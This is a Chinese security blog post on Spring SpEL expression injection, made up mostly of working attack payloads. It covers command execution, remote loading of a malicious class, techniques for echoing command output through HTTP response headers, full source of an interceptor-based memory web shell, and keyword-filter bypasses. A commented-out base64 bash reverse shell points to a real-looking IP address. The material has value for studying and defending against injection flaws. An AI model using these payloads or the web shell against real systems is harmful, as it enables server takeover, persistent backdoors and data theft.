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[Java安全]Spring SPEL注入总结&&回显技术
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对Java安全中的SPEL表达式注入相关总结以及技巧
SPEL表达式注入和OGNL表达式注入有异曲同工之妙~ Y4偶像的一篇文章 [\[Java代码审计\]javacon WriteUp\_Y4tacker的博客-CSDN博客](https://blog.csdn.net/solitudi/article/details/118964923) 一、SPEL表达式基础 =========== 参考： [SpEL表达式注入漏洞总结 \[ Mi1k7ea \]](https://www.mi1k7ea.com/2020/01/10/SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/#SpEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E8%BF%90%E7%AE%97) 定界符#{}与${} ---------- 这两个东西一点都不相同，`${}`只是单纯的一个占位符，会引起一些注入，比如SQL注入之类的。而`#{}`这就是SPEL特有的定界符。中间的内容会被解析。 类型表达式T() -------- 学SPEL的过程中，总是会看见形如`T()`这样式儿的payload，很多人不清楚是什么意思。 ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "T(java.lang.String)"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ```  T中的内容会被解析为一个类。比如图中的String，还可以解析为`java.lang.Runtime`，因此也就有了命令执行。 SPEL表达式 ------- 一些比较常见的表达式 | 运算符类型 | 运算符 | |---|---| | 算数运算 | +, -, \*, /, %, ^ | | 关系运算 | <, >, ==, <=, >=, lt, gt, eq, le, ge | | 逻辑运算 | and, or, not, ! | | 条件运算 | ?:(ternary), ?:(Elvis) | | 正则表达式 | matches | | 运算符 | 符号 | 文本类型 | |---|---|---| | 等于 | == | eq | | 小于 | < | lt | | 小于等于 | <= | le | | 大于 | > | gt | | 大于等于 | >= | ge | 这些用的不多，记住就好了。 变量定义和引用 ------- 在SpEL表达式中，变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现；在表达式中使用”#variableName”来引用；除了引用自定义变量，SpEL还允许引用根对象及当前上下文对象： - `#this`：使用当前正在计算的上下文； - `#root`：引用容器的root对象； - `@something`：引用Bean 二、RCE飞雷神一段 ========== 纯度宝典第一页 飞雷神一段讲究的是直接RCE的艺术。那么也就对应常见的三种方法。 ProcessBuilder -------------- ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"calc\"}).start()"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ``` 写这一段代码喝了我2瓶八颗核桃，拉满了真的拉满了。我们Processbuilder真的是太有操作了  Runtime ------- ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "T(java.lang.Runtime).getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ``` 什么？还有高手！拉满了真的拉满了，Runtime居然只需要直接用T表达式就可以命令执行？！拉满了！  ScriptEngine ------------ ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "T(javax.script.ScriptEngineManager).getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ```  什么？居然报错了，不行大脑已经短路了，容不得我思考。哦！原来是static，因为getEngineByName不是static方法，阴间狡诈，那我们怎么办！ ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ``` ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class SpelVulTest { public static void main(String[] args) { String cmdStr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ```  原来直接new 就可以了，我们JavaScriptengine玩家真的是太有操作了。 不过在这里还是得多一嘴的，其实JavaScriptengine已经可以做很多事情了，比如注入内存马之类的。Js代码是很灵活的。所以需要好好利用。 三、RCE飞雷神二段 ========== 纯度秘典第二页，用远程类加载进行RCE。 UrlClassloader -------------- 这个方法就是通过远程类加载。代码如下 ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class SpelVulTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ``` 然后那个getconstructors其实也没必要那么写 ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class SpelVulTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").newInstance()"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ``` ```java import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evil extends AbstractTranslet { static { try { //Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE2LjExOS4yNTMvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"); Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } public static void main(String[] args) { } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 然后起个http服务，最后运行就可以加载恶意类了。  AppClassloader -------------- 这种其实大差不差。获取ClassLoader去加载本地的类。 ```java package com.example.vul; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import java.lang.reflect.InvocationTargetException; import java.net.MalformedURLException; import java.net.URL; import java.net.URLClassLoader; public class SpelVulTest { public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { //String cmdStr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evil\").getConstructors()[0].newInstance()"; String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression(cmdStr);//解析表达式 System.out.println( exp.getValue() );//弹出计算器 } } ```  通过各种方法获取AppClassloader ---------------------- 我的纯度在你之上，假如ban掉了一些关键字，我们如何获取classloader成为了问题 有如下几种方法。 ```php T(org.springframework.expression.Expression).getClass().getClassLoader() #thymeleaf 情况下 T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader() #web服务下通过内置对象 {request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")} username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf ``` 只要能获取到都是可以的。 Bcel字节码 ------- 这东西其实都不陌生。 ```php T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})} ``` 大概可以是如上形式。 由于SPEL啥都可以做，所以你不用这个类或者用bcel的classloader也可以 四、霸体螺旋丸回显 ========= 那么在Web服务中，困扰我们最多的就是回显问题了，命令执行成功了，不出网，怎么把结果带出来呢？？！不要着急，翻开纯度宝典第四页。 我的测试代码如下 ```java package com.example.spel.controller; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.SpelParserConfiguration; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class spelcontroller { @RequestMapping("/spel") @ResponseBody public String spelvul(String payload){ //String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器 Expression exp = parser.parseExpression(payload);//解析表达式 return (String) exp.getValue(); } } ``` BufferedReader -------------- 其实这并不是纯粹的回显，因为你需要return这个返回结果，而真实情况一般是不会return这个结果的。 `payload=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()`  这只是返回值为输出结果的String而已。 Scanner ------- 和Buffer一样，都只能算得上是半回显 `new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()` 这里的`Delimiter`是分隔符的意思，我们执行了dir指令，假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可  ResponseHeader -------------- 这种方法才称得上是通用回显 这种方法需要有一个方法可以addHeader，可是springboot并不自带这个方法。因此获取到Response有些许困难，需要注册一个response进上下文 ```java @Controller public class spelcontroller { @RequestMapping("/spel") @ResponseBody public String spelvul(String payload,HttpServletResponse response){ StandardEvaluationContext context=new StandardEvaluationContext(); context.setVariable("response",response); //String cmdStr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')"; ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());//创建解析器 Expression exp = parser.parseExpression(payload);//解析表达式 return (String) exp.getValue(context); } } ``` ```php POST /spel HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 180 payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()) ```  这样就可以把命令执行的结果外带出来了。这种方法是比较轻便的。还是围绕着如何获取response这个点。stucts2有util可以直接添加response，所以可以直接外带。 五、拖入小树林注入内存马 ============ 纯度宝典第五页，什么response问题我都不在意，我只需要加载我的内存马就足矣！ 这里有一个payload模板 `#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}` 自己简化后： `T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()`，接下来就逐步解析一下这个payload defineClass ----------- 首先我们需要确认我们的目的，我们目的就是加载一个类，并且将其实例化。这里选择了springboot自带的工具类`ReflectUtils`，因为他识别base64字节，然后加载它。很方便。 ClassLoader ----------- 加载一个类需要指定classloader，我们肯定选定当前线程上下文的classLoader `T(java.lang.Thread).currentThread().getContextClassLoader()` 第一个payload用到了Mlet这个类  他实际上是URLClassLoader的实现类，所以我个人来说是不知道为啥选Mlet这个。我猜测是兼容问题，因为URLclassloader可以加载任意类吧。不管是远程还是本地的。这个地方注意一下。 内存马 --- 内存马选用的话就springboot内存马就行了。我这里选了一个interceptor内存马 ```java import org.springframework.web.servlet.HandlerInterceptor; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.util.List; public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor { static { System.out.println("staart"); WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } InceptorMemShell evilInterceptor = new InceptorMemShell(); adaptInterceptors.add(evilInterceptor); System.out.println("ok"); } @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { response.setCharacterEncoding("gbk"); java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; String o = ""; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema"); o = c.hasNext() ? c.next(): o; c.close(); printWriter.println(o); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } return false; } return true; } @Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); } @Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } ``` 把他变为base64塞入payload之后注入。  这就是我的纯度。 六、关键字Bypass（编不下去了） ================== 纯度宝典最后一页，假如没有技能了怎么办 和一些其他语言的沙盒逃逸一样，想办法找到替代的东西，思路其实大差不差。 字符串替换 ----- 形如这样的 ```php T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49) #回显h3zh1 ``` `T(String).getName`返回的是`java.lang.String`，然后用replace替换获取想要的字符串，这种比较麻烦。 还有一种就是直接使用类似`chr`函数 ```php T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49) ``` 外部对象request ----------- 假如上下文中有request对象的话就也有几种方法 ```php //request.getMethod()为POST #request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49) //request.getMethod()为GET #request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49) //Cookie #request.getRequestedSessionId() ``` 反射+字符串拼贴 -------- 比如Runtime的绕过 `T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),newString[]{"cmd","/C","calc"})` 如果ban了getClass还可以getSuperClass `''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("ex"+"ec",T(String[])).invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getMethod("getRu"+"ntime").invoke(null),'calc')` 还有各种比如Base64之类的。自己试试就知道了
发表于 2023-10-24 09:00:02
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WEB安全
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